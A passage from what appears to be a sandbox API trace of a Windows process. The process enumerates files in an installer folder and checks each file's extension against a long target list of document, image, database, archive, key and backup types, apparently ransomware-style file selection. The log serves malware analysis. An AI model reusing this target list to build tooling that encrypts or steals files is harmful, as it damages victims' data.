lpString2=".rtf") returned -1 [0100.238] lstrlenW (lpString=".oft") returned 4 [0100.238] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0100.238] lstrlenW (lpString=".one") returned 4 [0100.238] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0100.238] lstrlenW (lpString=".onepkg") returned 7 [0100.238] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0100.238] lstrlenW (lpString=".onetoc2") returned 8 [0100.238] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0100.238] lstrlenW (lpString=".opt") returned 4 [0100.238] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0100.238] lstrlenW (lpString=".oqy") returned 4 [0100.238] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0100.238] lstrlenW (lpString=".orf") returned 4 [0100.238] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0100.238] lstrlenW (lpString=".p12") returned 4 [0100.238] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0100.238] lstrlenW (lpString=".p7b") returned 4 [0100.239] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0100.239] lstrlenW (lpString=".p7c") returned 4 [0100.239] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0100.239] lstrlenW (lpString=".pam") returned 4 [0100.239] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0100.239] lstrlenW (lpString=".pbm") returned 4 [0100.239] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0100.239] lstrlenW (lpString=".pct") returned 4 [0100.239] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0100.239] lstrlenW (lpString=".pcx") returned 4 [0100.239] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0100.239] lstrlenW (lpString=".pdd") returned 4 [0100.239] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0100.239] lstrlenW (lpString=".pdf") returned 4 [0100.239] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0100.239] lstrlenW (lpString=".pdp") returned 4 [0100.239] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0100.239] lstrlenW (lpString=".pef") returned 4 [0100.239] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0100.239] lstrlenW (lpString=".pem") returned 4 [0100.239] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0100.239] lstrlenW (lpString=".pff") returned 4 [0100.239] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0100.239] lstrlenW (lpString=".pfm") returned 4 [0100.239] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0100.239] lstrlenW (lpString=".pfx") returned 4 [0100.239] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0100.240] lstrlenW (lpString=".pgm") returned 4 [0100.240] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0100.240] lstrlenW (lpString=".php") returned 4 [0100.240] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0100.240] lstrlenW (lpString=".php3") returned 5 [0100.240] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0100.240] lstrlenW (lpString=".php4") returned 5 [0100.240] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0100.240] lstrlenW (lpString=".php5") returned 5 [0100.240] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0100.240] lstrlenW (lpString=".phtml") returned 6 [0100.240] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0100.240] lstrlenW (lpString=".pict") returned 5 [0100.240] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0100.240] lstrlenW (lpString=".pl") returned 3 [0100.240] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0100.240] lstrlenW (lpString=".pls") returned 4 [0100.240] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0100.240] lstrlenW (lpString=".pm") returned 3 [0100.240] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0100.240] lstrlenW (lpString=".png") returned 4 [0100.240] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0100.240] lstrlenW (lpString=".pnm") returned 4 [0100.240] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0100.240] lstrlenW (lpString=".pot") returned 4 [0100.240] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0100.240] lstrlenW (lpString=".potm") returned 5 [0100.240] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0100.241] lstrlenW (lpString=".potx") returned 5 [0100.241] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0100.241] lstrlenW (lpString=".ppa") returned 4 [0100.241] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0100.241] lstrlenW (lpString=".ppam") returned 5 [0100.241] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0100.241] lstrlenW (lpString=".ppm") returned 4 [0100.241] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0100.241] lstrlenW (lpString=".pps") returned 4 [0100.241] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0100.241] lstrlenW (lpString=".ppsm") returned 5 [0100.241] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0100.241] lstrlenW (lpString=".ppt") returned 4 [0100.241] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0100.241] lstrlenW (lpString=".pptm") returned 5 [0100.241] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0100.241] lstrlenW (lpString=".pptx") returned 5 [0100.241] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0100.241] lstrlenW (lpString=".prn") returned 4 [0100.241] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0100.241] lstrlenW (lpString=".ps") returned 3 [0100.241] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0100.241] lstrlenW (lpString=".psb") returned 4 [0100.241] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0100.241] lstrlenW (lpString=".psd") returned 4 [0100.241] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0100.241] lstrlenW (lpString=".pst") returned 4 [0100.242] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0100.242] lstrlenW (lpString=".ptx") returned 4 [0100.242] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0100.242] lstrlenW (lpString=".pub") returned 4 [0100.242] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0100.242] lstrlenW (lpString=".pwm") returned 4 [0100.242] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0100.242] lstrlenW (lpString=".pxr") returned 4 [0100.242] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0100.242] lstrlenW (lpString=".py") returned 3 [0100.242] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0100.242] lstrlenW (lpString=".qt") returned 3 [0100.242] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0100.242] lstrlenW (lpString=".r3d") returned 4 [0100.242] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1 [0100.242] lstrlenW (lpString=".raf") returned 4 [0100.242] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1 [0100.242] lstrlenW (lpString=".rar") returned 4 [0100.242] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0100.242] FindNextFileW (in: hFindFile=0x3e50080, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0100.242] FindNextFileW (in: hFindFile=0x3e50080, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0100.243] FindNextFileW (in: hFindFile=0x3e50080, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0100.243] FindClose (in: hFindFile=0x3e50080 | out: hFindFile=0x3e50080) returned 1 [0100.243] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0100.243] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1046", cAlternateFileName="")) returned 1 [0100.243] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3e51058 [0100.243] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046") returned 26 [0100.243] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e502c0 [0100.253] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.253] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe63, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0100.253] lstrlenW (lpString="eula.rtf") returned 8 [0100.253] lstrlenW (lpString=".1cd") returned 4 [0100.253] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0100.253] lstrlenW (lpString=".3ds") returned 4 [0100.253] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0100.253] lstrlenW (lpString=".3fr") returned 4 [0100.268] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0100.268] lstrlenW (lpString=".3g2") returned 4 [0100.268] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0100.268] lstrlenW (lpString=".3gp") returned 4 [0100.268] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0100.268] lstrlenW (lpString=".7z") returned 3 [0100.268] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0100.268] lstrlenW (lpString=".accda") returned 6 [0100.268] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0100.268] lstrlenW (lpString=".accdb") returned 6 [0100.269] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0100.269] lstrlenW (lpString=".accdc") returned 6 [0100.269] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0100.269] lstrlenW (lpString=".accde") returned 6 [0100.269] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0100.269] lstrlenW (lpString=".accdt") returned 6 [0100.269] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0100.269] lstrlenW (lpString=".accdw") returned 6 [0100.269] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0100.269] lstrlenW (lpString=".adb") returned 4 [0100.269] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0100.269] lstrlenW (lpString=".adp") returned 4 [0100.269] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0100.269] lstrlenW (lpString=".ai") returned 3 [0100.269] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0100.269] lstrlenW (lpString=".ai3") returned 4 [0100.269] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0100.269] lstrlenW (lpString=".ai4") returned 4 [0100.269] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0100.269] lstrlenW (lpString=".ai5") returned 4 [0100.269] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0100.269] lstrlenW (lpString=".ai6") returned 4 [0100.269] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0100.269] lstrlenW (lpString=".ai7") returned 4 [0100.269] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0100.269] lstrlenW (lpString=".ai8") returned 4 [0100.269] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0100.269] lstrlenW (lpString=".anim") returned 5 [0100.270] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0100.270] lstrlenW (lpString=".arw") returned 4 [0100.270] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0100.270] lstrlenW (lpString=".as") returned 3 [0100.270] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0100.270] lstrlenW (lpString=".asa") returned 4 [0100.270] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0100.270] lstrlenW (lpString=".asc") returned 4 [0100.270] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0100.270] lstrlenW (lpString=".ascx") returned 5 [0100.270] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0100.270] lstrlenW (lpString=".asm") returned 4 [0100.270] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0100.270] lstrlenW (lpString=".asmx") returned 5 [0100.270] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0100.270] lstrlenW (lpString=".asp") returned 4 [0100.270] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0100.270] lstrlenW (lpString=".aspx") returned 5 [0100.270] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0100.270] lstrlenW (lpString=".asr") returned 4 [0100.270] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0100.270] lstrlenW (lpString=".asx") returned 4 [0100.270] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0100.270] lstrlenW (lpString=".avi") returned 4 [0100.270] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0100.270] lstrlenW (lpString=".avs") returned 4 [0100.270] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0100.270] lstrlenW (lpString=".backup") returned 7 [0100.271] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0100.271] lstrlenW (lpString=".bak") returned 4 [0100.271] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0100.271] lstrlenW (lpString=".bay") returned 4 [0100.271] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0100.271] lstrlenW (lpString=".bd") returned 3 [0100.271] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0100.271] lstrlenW (lpString=".bin") returned 4 [0100.271] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0100.271] lstrlenW (lpString=".bmp") returned 4 [0100.271] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0100.271] lstrlenW (lpString=".bz2") returned 4 [0100.271] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0100.271] lstrlenW (lpString=".c") returned 2 [0100.271] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0100.271] lstrlenW (lpString=".cdr") returned 4 [0100.271] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0100.271] lstrlenW (lpString=".cer") returned 4 [0100.271] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0100.271] lstrlenW (lpString=".cf") returned 3 [0100.271] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0100.271] lstrlenW (lpString=".cfc") returned 4 [0100.271] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0100.271] lstrlenW (lpString=".cfm") returned 4 [0100.271] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0100.271] lstrlenW (lpString=".cfml") returned 5 [0100.271] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0100.271] lstrlenW (lpString=".cfu") returned 4 [0100.272] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0100.272] lstrlenW (lpString=".chm") returned 4 [0100.272] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0100.272] lstrlenW (lpString=".cin") returned 4 [0100.272] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0100.272] lstrlenW (lpString=".class") returned 6 [0100.272] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0100.272] lstrlenW (lpString=".clx") returned 4 [0100.272] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0100.272] lstrlenW (lpString=".config") returned 7 [0100.272] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0100.272] lstrlenW (lpString=".cpp") returned 4 [0100.272] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0100.272] lstrlenW (lpString=".cr2") returned 4 [0100.272] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0100.272] lstrlenW (lpString=".crt") returned 4 [0100.272] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0100.272] lstrlenW (lpString=".crw") returned 4 [0100.272] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0100.272] lstrlenW (lpString=".cs") returned 3 [0100.272] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0100.272] lstrlenW (lpString=".css") returned 4 [0100.272] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0100.272] lstrlenW (lpString=".csv") returned 4 [0100.272] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0100.272] lstrlenW (lpString=".cub") returned 4 [0100.272] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0100.273] lstrlenW (lpString=".dae") returned 4 [0100.273] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0100.273] lstrlenW (lpString=".dat") returned 4 [0100.273] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0100.273] lstrlenW (lpString=".db") returned 3 [0100.273] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0100.273] lstrlenW (lpString=".dbf") returned 4 [0100.273] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0100.273] lstrlenW (lpString=".dbx") returned 4 [0100.273] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0100.273] lstrlenW (lpString=".dc3") returned 4 [0100.273] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0100.273] lstrlenW (lpString=".dcm") returned 4 [0100.273] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0100.273] lstrlenW (lpString=".dcr") returned 4 [0100.273] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0100.273] lstrlenW (lpString=".der") returned 4 [0100.273] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0100.273] lstrlenW (lpString=".dib") returned 4 [0100.273] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0100.273] lstrlenW (lpString=".dic") returned 4 [0100.273] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0100.273] lstrlenW (lpString=".dif") returned 4 [0100.273] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0100.273] lstrlenW (lpString=".divx") returned 5 [0100.273] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0100.273] lstrlenW (lpString=".djvu") returned 5 [0100.273] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0100.274] lstrlenW (lpString=".dng") returned 4 [0100.274] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0100.274] lstrlenW (lpString=".doc") returned 4 [0100.274] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0100.274] lstrlenW (lpString=".docm") returned 5 [0100.274] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0100.274] lstrlenW (lpString=".docx") returned 5 [0100.274] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0100.274] lstrlenW (lpString=".dot") returned 4 [0100.274] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0100.274] lstrlenW (lpString=".dotm") returned 5 [0100.274] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0100.274] lstrlenW (lpString=".dotx") returned 5 [0100.274] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0100.274] lstrlenW (lpString=".dpx") returned 4 [0100.274] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0100.274] lstrlenW (lpString=".dqy") returned 4 [0100.274] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0100.274] lstrlenW (lpString=".dsn") returned 4 [0100.274] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0100.274] lstrlenW (lpString=".dt") returned 3 [0100.274] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0100.274] lstrlenW (lpString=".dtd") returned 4 [0100.274] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0100.274] lstrlenW (lpString=".dwg") returned 4 [0100.274] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0100.274] lstrlenW (lpString=".dwt") returned 4 [0100.275] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0100.275] lstrlenW (lpString=".dx") returned 3 [0100.275] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0100.275] lstrlenW (lpString=".dxf") returned 4 [0100.275] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0100.275] lstrlenW (lpString=".edml") returned 5 [0100.275] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0100.275] lstrlenW (lpString=".efd") returned 4 [0100.275] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0100.275] lstrlenW (lpString=".elf") returned 4 [0100.275] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0100.275] lstrlenW (lpString=".emf") returned 4 [0100.275] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0100.275] lstrlenW (lpString=".emz") returned 4 [0100.275] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0100.275] lstrlenW (lpString=".epf") returned 4 [0100.275] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0100.275] lstrlenW (lpString=".eps") returned 4 [0100.275] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0100.275] lstrlenW (lpString=".epsf") returned 5 [0100.275] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0100.275] lstrlenW (lpString=".epsp") returned 5 [0100.275] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0100.275] lstrlenW (lpString=".erf") returned 4 [0100.275] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0100.276] lstrlenW (lpString=".exr") returned 4 [0100.276] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0100.276] lstrlenW (lpString=".f4v") returned 4 [0100.276] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0100.276] lstrlenW (lpString=".fido") returned 5 [0100.276] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0100.276] lstrlenW (lpString=".flm") returned 4 [0100.276] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0100.276] lstrlenW (lpString=".flv") returned 4 [0100.276] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0100.276] lstrlenW (lpString=".frm") returned 4 [0100.276] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0100.276] lstrlenW (lpString=".fxg") returned 4 [0100.276] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0100.276] lstrlenW (lpString=".geo") returned 4 [0100.276] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0100.276] lstrlenW (lpString=".gif") returned 4 [0100.276] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0100.276] lstrlenW (lpString=".grs") returned 4 [0100.276] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0100.276] lstrlenW (lpString=".gz") returned 3 [0100.276] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0100.276] lstrlenW (lpString=".h") returned 2 [0100.276] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0100.276] lstrlenW (lpString=".hdr") returned 4 [0100.276] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0100.276] lstrlenW (lpString=".hpp") returned 4 [0100.276] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0100.277] lstrlenW (lpString=".hta") returned 4 [0100.277] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0100.277] lstrlenW (lpString=".htc") returned 4 [0100.277] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0100.277] lstrlenW (lpString=".htm") returned 4 [0100.277] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0100.277] lstrlenW (lpString=".html") returned 5 [0100.277] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0100.277] lstrlenW (lpString=".icb") returned 4 [0100.277] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0100.277] lstrlenW (lpString=".ics") returned 4 [0100.277] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0100.277] lstrlenW (lpString=".iff") returned 4 [0100.277] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0100.277] lstrlenW (lpString=".inc") returned 4 [0100.277] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0100.277] lstrlenW (lpString=".indd") returned 5 [0100.277] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0100.277] lstrlenW (lpString=".ini") returned 4 [0100.277] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0100.277] lstrlenW (lpString=".iqy") returned 4 [0100.277] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0100.277] lstrlenW (lpString=".j2c") returned 4 [0100.277] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0100.277] lstrlenW (lpString=".j2k") returned 4 [0100.277] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0100.277] lstrlenW (lpString=".java") returned 5 